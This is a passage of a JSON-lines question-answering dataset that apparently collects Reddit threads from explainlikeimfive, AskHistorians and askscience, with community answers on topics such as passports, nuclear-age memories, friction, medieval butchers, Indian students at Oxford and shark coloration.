["https://en.wikipedia.org/wiki/Cabinet_of_the_United_Kingdom#Current_Cabinet", "http://memory.loc.gov/cgi-bin/ampage?collId=llsl&amp;fileName=001/llsl001.db&amp;recNum=152", "http://www.whitehouse.gov/administration/cabinet/"], [], [], [], []]}
{"q_id": "7jqytr", "title": "why does some countries require your passport to be valid for 6 months after your return?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7jqytr/eli5_why_does_some_countries_require_your/", "answers": {"a_id": ["dr8i70i", "dr8i9ro"], "score": [20, 9], "text": ["In case you get stuck there for some reason. You could be injured and stuck in an hospital. Or you could miss your flight and not be able to afford another ticket.", "Because they don't have agreements with your country of origin to waive that requirement.\n\nIt's fairly standard to require 6 months left on your passport, but some countries do a lot of travel with one another and have a good enough relationship with your country that they are confident your country is taking care of their passport shit (security and validation, etc) and have the local resources (embassies and such)  to resolve the odd situation where your passport expire inside their borders.\n\nEven when the 6 month rule is waived its usually replaced with a requirement to be valid for the duration of your planned stay so there's no reason a passport would expire on a standard trip. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1l1z33", "title": "Hoping to interview someone who lived through the Nuclear Age about their thoughts on the nuclear bomb. (College Assignment)", "selftext": "I'm not entirely sure if this is the right subreddit for this, so please correct me if I'm wrong.\n\n\nFor my Interdisciplinary Seminar this semester, I'm taking an elective about the nuclear bomb and studying its personal and historical contexts as well as its continuing significances.\n\n\nFor a first assignment, my professor gave us a list of questions to ask someone who has lived through the atomic age (50s and 60s). Then compile these answers into a paper.\n\n\nI was hoping perhaps there was someone or multiple people in this subreddit who could answer these questions. He told us we don't need specific, extremely detailed answers. Just enough to let us understand the feeling of the time back then.\n\n\nAnd, I'm not sure if nuclear bombs are just spamming this subreddit with stuff, but I thought it would be interesting for people to learn first hand someone's thoughts and life back then.\n\n\nHere are the questions:\n > * What was your earliest recollection of the bomb and the Soviet threat? (Your age, what you felt, when did it occur)\n\n\n > * 10-20 years past the Nuclear Age, what were your later thoughts about the nuclear bomb?\n\n\n > * Do you worry about the bomb now? Why? How do you tend to your fears?\n\n\n > * Do you recall fallout shelters? Did your family/neighborhood have one?\n\n\n > * At the time, did you agree with the bombing of Hiroshima? Do you agree with it now in the present?\n\n\nThanks guys. And thank you especially if you could answer these.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1l1z33/hoping_to_interview_someone_who_lived_through_the/", "answers": {"a_id": ["cbuzndf"], "score": [3], "text": ["\n > Here are the questions:\n & gt;* What was your earliest recollection of the bomb and the Soviet threat? (Your age, what you felt, when did it occur)\n\n\nAround the Cuban missile crisis, all the adults seemed tense, so we got tense, too.\n\nDuck and cover drills in grade school. Lots of mushroom cloud video on TV.\n\n > \n & gt;* 10-20 years past the Nuclear Age, what were your later thoughts about the nuclear bomb?\n\nBy the time the 60's rolled around, much more cynical. There was still some anxiety about a possible nuclear exchange, but it became sort of a background noise.\n\n > \n & gt;* Do you worry about the bomb now? Why? How do you tend to your fears?\n\nMostly from a proliferation point of view. I have a pretty dismissive view of all out nuclear war, so I think our deterrent mission is effectively over (if it ever was even effective). I do worry about simple terrorist acts that might spread nuclear materials in an urban location, but that's really equivalent to a power plant meltdown, which we've already had. The social reaction would probably be much more extreme though.\n\nA regional exchange (Pakistan/India, Israel/Iran) is concerning. I'm not entirely sure that the MAD logic will always hold there.\n\n\n > \n & gt;* Do you recall fallout shelters? Did your family/neighborhood have one?\n\nWe didn't, but at least one neighbor did. It was considered only a little extreme in our suburban Massachusetts neighborhood.\n\n > \n & gt;* At the time, did you agree with the bombing of Hiroshima? Do you agree with it now in the present?\n\nI'm sufficiently cynical not to buy the traditional justifications. I do see it as an immoral act, differing only among several others in that war by setting a shameful precedent.\n.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2g4xvd", "title": "What is the significance/reasoning behind the bird seen on Nazi equipment?", "selftext": "I was just looking at [this](_URL_0_) post and noticed a bird clutching a Swastika in its talons. I'm curious why this exists - as I've seen it in quite a bit of Nazi equipment. ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2g4xvd/what_is_the_significancereasoning_behind_the_bird/", "answers": {"a_id": ["ckfojg8", "ckfp2qr"], "score": [8, 4], "text": ["[The eagle in general has been part of the German coat of arms since the Holy Roman Empire (on and off).](_URL_0_) The Nazi Party (NSDAP) adopted an eagle on top of the swastika presumably in reference to that, and many of the places (e.g. coinage) that used to just have eagles got the eagle+swastika update after 1936 or so when they formally changed the symbol of the German republic to be the Nazi version of the eagle. ", "The eagle is  a symbol of Imperial Power. Examples are the Aquila of the Roman Empire; the Imperial Eagle of the First French Empire; and the Reichslader-- which was originally a symbol of the Holy Roman Empire. The Imperial Eagle used by Nazi Germany during the so-called Third Reich (i.e. Third Empire) was called the Parteiadler.\n\nThen again I am by no means an expert, but correct me if I am wrong."]}, "title_urls": [], "selftext_urls": ["http://www.reddit.com/r/WWII/comments/2g4kw6/i_have_three_nazi_daggers_my_grandfather_got/"], "answers_urls": [["http://en.wikipedia.org/wiki/Coat_of_arms_of_Germany"], []]}
{"q_id": "1i2w5g", "title": "How were the first flutes engineered in the past?", "selftext": "Back when people were just developing wind instruments, i assume every flute/recorder was a different size cylinder, in both diameter and length, which i assume affects where holes need to be. I can imagine someone drilling the first hole, and then taking slices off the end of the flute until both notes make a pleasant interval. I just cannot imagine how they would go about making more holes without completely messing up the scale.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1i2w5g/how_were_the_first_flutes_engineered_in_the_past/", "answers": {"a_id": ["cb1o7rg"], "score": [2], "text": ["it's important to note that the western 12-tone system of music is not across all cultures; folk music of other cultures, specifically ancient Asian cultures, routinely used quarter-steps in their music (half the distance of the shortest common interval in the western system).\n\nthat said, even in western traditional music the intervals haven't always been the same. music from the baroque time period used a different system of tuning than we use today; we currently use a system called \"equal temperament\" which has every note slightly off its \"true\" pitch for the sake of consistency between all intervals.\n\nthis would not be true in baroque music. they used \"just temperament\" or \"just intonation,\" which, to our ET ears, would sound out of tune.\n\nsee, the problem stems from the frequency of specific pitches. for example, let's tune a piano starting with a C note. we'll tune the D using the C as a reference, so the C and D are exactly a whole step from one another. then, we tune the E the same way, using only the D as a reference pitch. we continue this way, tuning the next pitch using only the previous one as reference. we get up to the next C, thinking we'll be perfectly in tune, but as we play both C's together they're out of tune by approximately 23 cents. this is called the Pythagorean comma (which is a sick name for a prog metal group), and is the problem that every tuning system faces.\n\nsome systems split the difference between every pitch (ET), and some just live with the pythagorean comma (JI).\n\nhow does this tie back to our flute? a different tuning system would have been used to tune the flute than we are familiar with. regardless of geographic area, it would have had to have been different; the one we're using today is a derivation of it.\n\nmore info about temperaments (among other things) can be found at /r/musictheory where we enjoy the company of, among others, the kindly and knowledgeable /u/m3gowns, who is the reason that many of us know what we're talking about.\n\nthanks for reading. i know it was a wall of text, my apologies."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3emku9", "title": "in alice and wonderland they keep asking why is a raven like a writing desk? was there an answer to the riddle or was it suppose to be not answered?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3emku9/eli5in_alice_and_wonderland_they_keep_asking_why/", "answers": {"a_id": ["ctgcqe0", "ctgcvmx", "ctgcwa2", "ctggsps"], "score": [9, 14, 24, 3], "text": ["It was supposed to be unanswered and unanswerable. That said, in the intervening years an answer has been invented: \"Because Poe wrote on both of them.\"", "According to the author, there was no answer to the riddle. The riddle was a rhetorical way to display the Mad Hatter's madness, shown by him telling the riddle, and then having no answer to it soon thereafter.", "Because they're covered in inky quills.\n\nLiterally inky and figuratively quills in the desk's case, figuratively inky and literally quills in the raven's.", "In addition to Poe writing on both and the inky quills, \"because neither ('neither') ends in an 'r'.\""]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "ez2z5u", "title": "If friction is based on electrostatic force, then shouldn\u2019t it be conservative (electrostatic force is conservative)? What property of it makes it non-conservative?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/ez2z5u/if_friction_is_based_on_electrostatic_force_then/", "answers": {"a_id": ["fgljb3g", "fgln6rz", "fgm7wja"], "score": [10, 11, 7], "text": ["If you consider the system consisting of (the sliding object + the surface), energy IS conserved. It is just transferred from the sliding object to the surface.\n\nNote that a force is conservative if it can be expressed as the derivative of a scalar field (called the potential).\n\nIf you consider the sliding object by itself, energy is not conserved because the scalar potential field it is moving through is not fixed. As the object moves it rubs atoms on the surface, causing them to vibrate. This means the potential field is not static, so it is no longer acting as a conservative force.", "It's an artefact of the model. The actual system is made of atoms, and if we kept track of every single atom, we would find that energy is conserved. However, much of this energy is going to get locked up as heat - random thermal motions which we can statistically average out and don't impact the bulk motion of the macroscopic objects.", "At fine grain it is conservative, at coarse grain it has a non-reversible entropic loss. Entropy loss is only probabilistically irreversible, that is, \n there exist a pathway to revert it's course, but it's improbable, thus making it practically irreversible.\n\nMost of the energy is dissipated into noise, vibrations and heat. Some is stored into electrostatic buildup, chemical reaction, or plastic deformation.\n\nNote that the topic is so diverse it has its own scientific name: tribology."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "6edv8d", "title": "What was the relation between Late Medieval butchers and the Lent?", "selftext": "So my question concerns the Lent, or the period of fasting before Easter. I know that it was normal for many Christians in the Middle Ages to fast for 40 days to commemorate Jesus' sacrifice and his journey through the dessert, which lasted normally 40 days.\nSince fasting meant giving up meat I wonder how butchers coped with it, because I think it must have been a period with lesser revenues for them, thanks to the Lent.\nIs there any idea how butchers in 14th-15th century cities coped with the Lent and the loss of revenues? Did they keep money on the side to get them through this period?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6edv8d/what_was_the_relation_between_late_medieval/", "answers": {"a_id": ["dibait4"], "score": [3], "text": ["Butchering (as we know it) as a full-time profession is a relatively new thing, so the shortest answer to your question is that there were very few just-plain-retail butchers in the 14th-15th century.\n\nThat is, of course, not strictly true: there were certainly people for whom slaughtering of animals and the jointing and hanging of meat were part of their daily work, but it would usually only have been part of the work, except in the very largest of households. Meat did not, for most people, form as large a part of the diet as it does now, so there was less demand for butchery. There is considerable variation by geography, social class, and to some degree by employment, but it's fair to say that most people would only have eaten meat every few days, or possibly only once a week. A good bit of the meat they *did* get would have been from hunting (either with snares, or with bows and arrows), or salted meat. Much of the protein in the medieval diet came instead from dairy products, particularly in Ireland, though notably less so in England, and eggs as well as some from beans (although these would have been fava beans, as most other kinds are from the New World, and wouldn't be available in Europe until after the 16th century) and peas. And fish, of course, which was acceptable on fast days as well as during the rest of the year.\n\nMeat animals - cattle, pigs, sheep, and the occasional horse - were generally slaughtered in autumn, so that they did not have to be fed through the winter. Fowl of various kinds - chickens, capons (gelded roosters), geese and ducks - were slaughtered year-round, although their eggs would have kept the female birds from the knife. The people doing the slaughtering would have been the farmers themselves, in some cases, or someone among the household staff. Meat was then preserved by brining, by smoking, and by salting - the latter being the most effective and in many ways the easiest - which would hopefully last until the next set of beasts were slaughtered. And of course some meat would have been eaten fresh at around this time of year.\n\nIn the latter part of the medieval era, though, with the growth of urban populations and a corresponding decrease in room to keep meat animals or fowl, butchery began to be a retail trade - although it still wasn't just the slaughter of animals and sale of meats; it doubled up with livestock trading and even tavern-keeping, among other things. This is the era when retail trade began to be a thing at all, really - before this, many aspects of what we would regard as ordinary merchantry or shopkeeping were actually illegal. Butchers's shops were kept an eye on by the authorities, too - in times of rebellion, they were an effective source of weapons. Indeed, the support of butchers was a major factor in the Matins of Bruges (1302), the Maillotin uprising (1382), and the Cabochian Revolt (1413), to pick a few handy examples.\n\nIn this era, Lent might have been an issue for butchers - but this was also an era of guilds, and the social support that came from them. So the guilds to which the butchers belonged provided some support during the six weeks - and were powerful political groups in their own right, often among the most prestigious guilds in a given city. They would still have been involved in the trades of tanning, glue-making, and other uses of animal products, too. So the chances seem high that any individual butcher didn't suffer much hardship.\n\nFinally, out of the scope of your question, but still interesting: it should be noted that meat consumption actually dropped by a bit during the 17th century, as populations rose. There's something of a chicken and egg situation here - New World crops, particularly the potato, helped populations to increase, but those populations then needed to be fed, and field crops are a more efficient way to feed a large population than meat.  \n\n**Sources:**\n\nC. M. Woolgar, D. Serjeantson, and T. Waldron, *Food in Medieval England: Diet and Nutrition*  \nSteven Epstein, *An Economic and Social History of Later Medieval Europe, 1000-1500*  \nFergus Kelly, *Early Irish Farming*  \nA.T. Lucas: 'Irish Food Before The Potato', in *Gwerin: A Half-Yearly Journal of Folk Life*, Volume 3, Issue 2, 1960  \nWilliam Sayers (1994) 'Diet and fantasy in eleventh\u2010century Ireland: The vision of Mac Con Glinne', *Food and Foodways: Explorations in the History and Culture of Human Nourishment*, 6:1, 1-17  \nValentina Costantini (2016) On a red line across Europe: butchers and rebellions in fourteenth-century Siena, *Social History*, 41:1, 72-92"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "96muau", "title": "why does an ac usually take at least 20 seconds to kick in/start after turning down the thermostat?", "selftext": "[deleted]", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/96muau/eli5_why_does_an_ac_usually_take_at_least_20/", "answers": {"a_id": ["e41qxn7"], "score": [3], "text": ["It's to prevent short cycling - rapidly turning on and off - and damaging the compressor. By building in the short delay it makes sure it only comes on when it's really needed and will be running for a normal amount of time."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "17qxjw", "title": "the difference between flanger, phaser, and chorus.", "selftext": "I always have a hard time telling the difference between them.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/17qxjw/eli5_the_difference_between_flanger_phaser_and/", "answers": {"a_id": ["c884pwo", "c8891wb"], "score": [8, 3], "text": ["Flanger: an audio signal is duplicated, and one copy is delayed, ever so slightly, then blended back into the original signal. The delay changes over time and produces what we call \"comb filtering\". Flanger sounds like a sci-fi metallic whooshing. \n\nPhaser: kinda sounds similar to flange but is a different principle. The second copy of the audio signal is phase-shifted and when blended back in with the original cancels out part of the original sounds frequency. Think of phase like opposites. 1  & amp;amp; -1. If you add 1+-1 you get zero. Which cuts out that specific signal. Again this phase alters over time. Phase sounds like perhaps a more organic whooshing sound. \n\nChorus: again, similar to flange principles, but the delayed signal is pitch modulated (the pitch moves up and down) before being blended back in. Chorus is like a replication of recording the same thing multiple times and playing the result all at once. \n\nBonus Fun fact: want to get a really wide stereo spread? Make two copies of a single mono sound. Pan one left, pan one right. Delay one of the signals by a short amount (20-30ms). Boom! Super stereo spread!\n\nFinally my music tech degree has come in handy. Ladies, release your orgasms..\n\n\n\n----\n**Examples:**\n\nFlanger: [Are You Gonna Go My Way? By Lenny Kravitz](_URL_1_). That guitar sound in the middle 8 \n\nPhaser: [Kashmir by Led Zepplin](_URL_2_). Appears on the drums throughout the song. \n\nChorus: [Come As You Are by Nirvana](_URL_0_). Dat guitar sound. ", "A flanger makes the same sound come slightly later.\n\nA chorus is the same, only modulated and multiplied.\n\nA phaser is a device that fires a beam of energy in multiple phases, much more powerful than a laser and more energy efficient than the competing disruptor, it is a primary offensive and defensive weapon on Federation starships and installations, and handheld devices are used by personnel, using the same principles."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.youtube.com/watch?v=vabnZ9-ex7o", "http://www.youtube.com/watch?feature=player_detailpage&amp;v=eLhpHjmxNw8#t=129s", "http://www.youtube.com/watch?v=sfR_HWMzgyc"], []]}
{"q_id": "4s2r3y", "title": "suppose I'm the son of a Maharaja studying at Oxford in the 1890s. Will I be excluded in anyway socially excluded because of my race, or does my high class insulate me from that kind of thing?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4s2r3y/suppose_im_the_son_of_a_maharaja_studying_at/", "answers": {"a_id": ["d56cah7", "d56j1oe", "d56qi1v"], "score": [110, 982, 4], "text": ["A related question: how does the case of Shapurji Edalji, ordained in England in the 1860s and later the target of, to a lesser or greater degree, racist treatment along with his son George, shed light on the original question?", "Interesting question! I did a lot of my studies about British India at Oxford, and I always found reminders that the University was at one point the nursery for Britain's imperial missionaries. If you go to what was, when I was a student, the History Faculty Library, you will see its tower adorned with a weather vane in the shape of an elephant; it was once the Indian Institute building, dedicated to scholarship of Britain's most important territory, the arch-legitimizer of its imperial mission.\n\nDo you mind if I don't firstly suppose you're the son of an Indian prince? Let's imagine instead you're a woman, a Christian, the daughter of a Parsi Anglican Reverend, born in Pune (\"Poona\"); let's imagine you're Cornelia Sorabji, the first female graduate of an Indian university, and you came to England to attend Oxford University to read for the Bachelor of Civil Laws exam. You are not just the first Indian woman to do this, you are the first woman ever to take the exam. Cornelia went up to Somerville (a woman's college), and became not just a tutee but a real prot\u00e9g\u00e9e of Oxford tutor Benjamin Jowett, a larger-than-life figure whose fame at Balliol was great indeed. She was introduced to Jowett by Agnes Maitland, then Principal of Somerville, and was invited to dine at Balliol's High Table by him - being a gentleman's college, she had to be chaperoned by Miss Maitland (one of the principal's jobs at a women's college was to act as a chaperone in all manner of social engagements - even visiting the dentist).\n\nIn England, Cornelia always wore a sari, even though as a child she wore Western garb in Poona. Jowett, who to many students was an intimidating figure, took the unintimidated Cornelia under his wing and through him she met many important Victorians, including Florence Nightingale. Jowett created a special course in law for her, since she was originally at Oxford to read for English. Cornelia's social life in Oxford seems to have been one of relative privilege compared to many students - her case was rather a famous one, for she found entry to Oxford difficult - but she does not record difficulties finding a social life or taking exams because she was an Indian. Granted, she was a Christian, with a glass-cut English Establishment RP accent, but she was dark-skinned. Instead, her obstacles, mostly institutional, given that formats did not then exist for her to do many of the things she ended up doing, seem to have been because she was a woman.\n\nIf you want a nice, approachable touch of personal history to deal with this, please see the talk given by Professor Richard Sorabji (yes, tellingly of the same name) back in 2010 when I was there that Oxford helpfully hosts here: _URL_2_\n\nNow let's think about the aristocratic dimension to the question. For this, I think a really interesting work would be David Cannadine's book, *Ornamentalism*, the title of which is obvious reference to Said's *Orientalism*. Said outlined the institutional racism of imperialism, in which the West's imagination of the East served as much to make concrete a subservient relationship as did the practical deficits created within the relationship. Cannadine argues a modification of this, pointing out ways in which race was a much less important element to the way Britain related to India (and other parts of its empire) than, say, class, rank, or social status. Cornelia's case seems to help this case.\n\nSpecific examples illustrating this case come if we look at how the British behaved in India. If we take the example of Viceroy the Marquess Curzon, we see the patriarch one of the most ancient aristocratic familes in Britain becoming a government-appointed king of India, residing in a palace that was modelled *on the very house he was born in*. (See: [Kedleston](_URL_3_) provided the architectural inspiration for [Government House](_URL_1_) in Calcutta) If we examine Curzon's social habits, we know that his preference was to spend time amongst Indian aristocracy if his other choice was middle class Britons. He would regularly attend princes' estates to go hunting; we can see him [here](_URL_4_) proudly posing with the Maharajah of Gwalior. He found commoners, frankly, annoying; they were interested in money, and imagined themselves superior to all Indians purely on the basis of being British. He found them smallminded and petty social climbers, who sought his favour for their own elevation; he thought the elevated social status of British commoners in India artificial, and detested going to Simla (the place of summer government, when it was too hot in Calcutta) because he was trapped there with cricket-playing middle class British busybodies. Curzon was raised believing his blood made him the inheritor of natural superiority; this is something he had in common with the Maharajah, and something that distanced him from many of his fellow Britons in India. Part of people like Curzon's imperial mission was to export the social order that they saw as existing at home. When the Hawaiian King Kalakaua (thank you /u/bigjameslade for this correction of nationality and providing the name) was seated in higher order than the Crown Prince of Germany at a royal banquet, then-prince Edward (Edward VII) riposted to a complaint, \"Either the brute is a king, or else he is an ordinary black nigger, and if he is not a king, then why is he here?\" This is so obviously a backhandedly racist comment, but it crystallizes for me in a really nice way the dichotomy in the mindset of imperialists what the world order was. White people were superior, yes, but a black king was superior to a white prince. Here, Edward would have probably found disagreement from many who were not aristocrats in Britain.\n\nSo: this is not to say racism did not exist, or to say that Curzon did not believe the British were superior to Indians. It is to say, however, that the imperial relationship is extremely complex, with many layers interacting at many different levels. Social strata overlapping and intermingling make it difficult to extract an answer to your question. A shopkeeper might have refused to serve the son of an Indian prince whilst he studied at Oxford (I actually doubt this, but let's imagine a case of everyday prejudice) but meanwhile he would be invited to high table, to visit English country houses on the weekends, and enjoy all the privileges of a gentleman scholar, far beyond the aspirations of your average Oxford commoner, be he English or Welsh(!) or Indian (commoner is a class of student at Oxford - in former times, an aristocrat could purchase a scholarship that accorded benefits). Indeed, many Indians of common (non-noble) status studied in England to take the exam for the Indian Civil Service, and it might be there that you'd be able to get a more straightforward example about racial discrimination.\n\nFurther listening, please have a look at Oxford's \"Indian Traces in Oxford\" series of recordings, which have a selection of Indian experiences at the University: _URL_0_", "I would be very curious if anyone could expound more on the life of Prince Victor Duleep Singh, as I think it would be very illustrative of the sort of experience OP is looking to learn more about. The extent of my knowledge of him comes from the book \"Lady Almina and the Real Downton Abbey,\" so I'm certainly not qualified enough to answer the question myself."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://podcasts.ox.ac.uk/series/indian-traces-oxford", "https://upload.wikimedia.org/wikipedia/commons/a/a7/Rajbahavan.jpg", "http://podcasts.ox.ac.uk/cornelia-sorabji-jowetts-prot-g-e-oxford-1889-1893", "https://farm3.staticflickr.com/2459/3757515886_2e6bf53428_z.jpg", "https://upload.wikimedia.org/wikipedia/commons/0/00/Lord_Curzon_Hunting_1901.jpg"], []]}
{"q_id": "25iynt", "title": "Pre 1492 would the people who lived in what is now New England have been aware of the existence of the Mayans and/or the Aztecs?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/25iynt/pre_1492_would_the_people_who_lived_in_what_is/", "answers": {"a_id": ["chhrzni"], "score": [40], "text": ["For reasons similar to those I explained [here](_URL_0_), the answer is \"probably not.\" There would have been awareness and trade with the Southeast, but nothing to indicate any sustained contact or significant awareness of points further south. What's now southern Texas and northeastern Mexico seems to have been a rather abrupt disconnect between cultures, at least around the time of Contact. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.reddit.com/r/AskHistorians/comments/20oxno/did_the_iroquois_know_of_the_aztec_in_pre/"]]}
{"q_id": "6by1j1", "title": "If the only thing keeping an electron in the lowest orbital from crashing into the nucleus is the quantization of energy, how can electron capture occur? Does the electron just go through a series of quantum jumps to the nucleus?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/6by1j1/if_the_only_thing_keeping_an_electron_in_the/", "answers": {"a_id": ["dhql8mp"], "score": [13], "text": ["Even though atomic electrons live in orbitals of well-defined energy, they do not have well-defined positions. Instead they have probability density functions which extend throughout space.\n\nAnd in fact, *certain* electron orbitals have probability densities which are nonzero **inside** the nucleus. Any orbital with zero orbital angular momentum has a wavefunction which is nonzero at r = 0 (where the nucleus is).\n\nSo if you were to measure the position of an atomic electron with zero orbital angular momentum many times, some fraction of the time, you would find the electron inside the nucleus.\n\nThe probability of electron capture is proportional to |\u03a8(**r** = **0**)|^(2)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "5czrsf", "title": "Has a knighting ever ended in a surprise or accidental beheading?", "selftext": "The accolade ceremony often involves a sword tapping either sword of the person being knighted.  Is there any evidence of one of these ceremonies going horribly wrong?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5czrsf/has_a_knighting_ever_ended_in_a_surprise_or/", "answers": {"a_id": ["da1tgmz"], "score": [3], "text": ["No. The accolade has its roots in what was actually a physical gentle blow with one's hand against the neck of the recipient as a sign of both service and virility -- i.e. a knight could \"take a punch\" and also demonstrate his humility to both his ruler and, by extension, to God by proxy of divine right. The accolade eventually transformed from a hand into a sword in order to emphasize the military aspect of the ceremony. I've read that the transition to the sword was in part due to an attempt to slightly nick the knight to ceremonially demonstrate that he was willing to spill his own blood for the state, but this to me sounds like a bit of Victorian kitsch.\n\nAt either rate, England was the first country in Western Europe to use the sword in the accolade with later nations, such as Prussia, electing to use the sword in an accolade in imitation of the English ceremony. In France, Spain and Portugal, however, knights continued to receive the physical accolade which eventually became a kiss on the left cheek followed by the presentation of a sword or badge of office."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "144n2j", "title": "how do expectorants work?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/144n2j/how_do_expectorants_work/", "answers": {"a_id": ["c79tt8y"], "score": [2], "text": ["There is always an amount of fluid in your lungs and trachea and whatnot, the body produces this to keep those important parts lubricated and safe. The most common expectorant, guaifenesin, works by telling your body to increase the amount of that fluid. This makes the mucus and the other nasty stuff less viscous (more \"liquid\") and easier to cough up. In addition, it stimulates little hair-like cells in your respiratory system called cilia, and they push the secretions up toward your throat, also making it easier to cough them up."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1cvjxl", "title": "Have there been any even remotely significant independence/separatist movements operating out of New England with the intention of establishing a sovereign state? What were their motives and ultimate goals?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1cvjxl/have_there_been_any_even_remotely_significant/", "answers": {"a_id": ["c9keci4"], "score": [7], "text": ["Vermont was governed as an independent republic until 1791 due to conflicting claims in the region by New York and New Hampshire, although most of its residents always considered themselves Americans and intended to join the United States as soon as the legal and political complications were ironed out. \n\nNew England was very alienated from the rest of the nation during the War of 1812. National policies, such as President Jefferson's brief embargo of all foreign trade, had been acting against New England's interests for years. The Federalist Party was basically moribund outside the region. The war cost New England dearly, as British raiders struck its coast and British armies massed on its northern border. Several New England communities, such as Block Island and Nantucket, went so far as to declare neutrality. Massachusetts and Connecticut refused to nationalize their militias and received no federal funding as a result. \n\nA number of New England politicians called the Hartford Convention in 1814 to discuss their grievances. In response, President Madison sent spies to observe the proceedings and U.S. Army troops were dispatched to Albany from the front, in case they were needed to put down a rebellion. This is as close as New England ever got to seceding."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3cmxim", "title": "Do all sharks have a white belly? If so why?", "selftext": "Friend and I were curious.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/3cmxim/do_all_sharks_have_a_white_belly_if_so_why/", "answers": {"a_id": ["csx2zci", "csx4qid", "csx8ghl", "csxazqj", "csxe95o"], "score": [1249, 106, 17, 13, 2], "text": ["Many fish are dark on the top and light on the bottom. This is a natural way to camouflage themselves from prey and other predators. Whether you're looking down on the dark side or up to the light side, the fish will be hard to make out against the back ground", "Not all sharks do, but a lot do. This adaptation really is only helpful to pelagic species- ones that swim in the open water. Benthic species that live on the bottom of the ocean and sharks that live in deeper pelagic zones (deep open water) don't rely as heavily on that camouflage, because it is too dark. \nThis camouflage works because, as a predator looks down, the ocean is darker, and the darker top of the shark blends in. If a predator looks up, the water is lighter, and the lighter bottom part of the shark is also harder to see. \n\nHere are a few species that don't have that color pattern:\nCentrophorus atromarginatus (Dwarf Gulper shark); Cetorhinus maximus (Basking shark); Centroscymnus coelolepis (Portuguese dogfish); Mitsukurina owstoni (Goblin Shark)\n", "Most of the replies that answer why are correct. To answer the first question, some  sharks don't have white bellies.\nWhich ones?\nMany of the ultra-deep dwelling ancient shark species: some frill sharks and definitely the pocket shark, and who knows what other species will be discovered in some of the deepest areas.", "for the same reason the airforce often paints aeroplanes with dark colours on the top and light on the bottom. if the enemy is above you you're camouflaged against the ground, and if the enemy is below you you're camouflaged against the sky", "To add to the top bottom views stated here.\n\nmost of the time, most of the fish will be seen from the side. \n\na convex object seen from the side with lighting on top will be brighter on top. \nreversing this pattern will cause problems with the object recognition of other animals . \n\nthe total result will either be uniform shading (which will make the object stand out less ) in case the reverse shading is exactly at the right magnitue, or \"inside out\"\ntake a look at this illusion\ne.g. _URL_0_\n\nEDIT: turn your screen upside down for the full effect of that pic\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["http://homepages.inf.ed.ac.uk/amos/funpics/shading.png"]]}
{"q_id": "2qm6lk", "title": "what am i feeling when someone puts a finger close to my forehead, over my \"third eye\"?", "selftext": "Edit: I am referring to the feeling you get when someone hovers a finger over your nose and more or less between the eyes when they're closed (where some people claim our third eye would be). It is as if you could feel the finger is there without it touching you. If you haven't experienced it, you should try it!", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2qm6lk/eli5_what_am_i_feeling_when_someone_puts_a_finger/", "answers": {"a_id": ["cn7d4vb", "cn7dl9j"], "score": [27, 3], "text": ["A change in heat, light (even with your eyes closed you can detect changes in light), and ambient sound (stereo hearing can detect objects, try standing one inch from a wall). So many senses besides your eyes work together to help you \"see\".", "I'm going to guess that it's a combination of a few things and the unexpected sensitivity you have. The finger will project heat and air currents, these will be picked up by your skin and hairs, you may even have a slight tingingly sensation as the finger barely flicks some of your finer, longer hairs. But ultimately, your description is quite vague."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
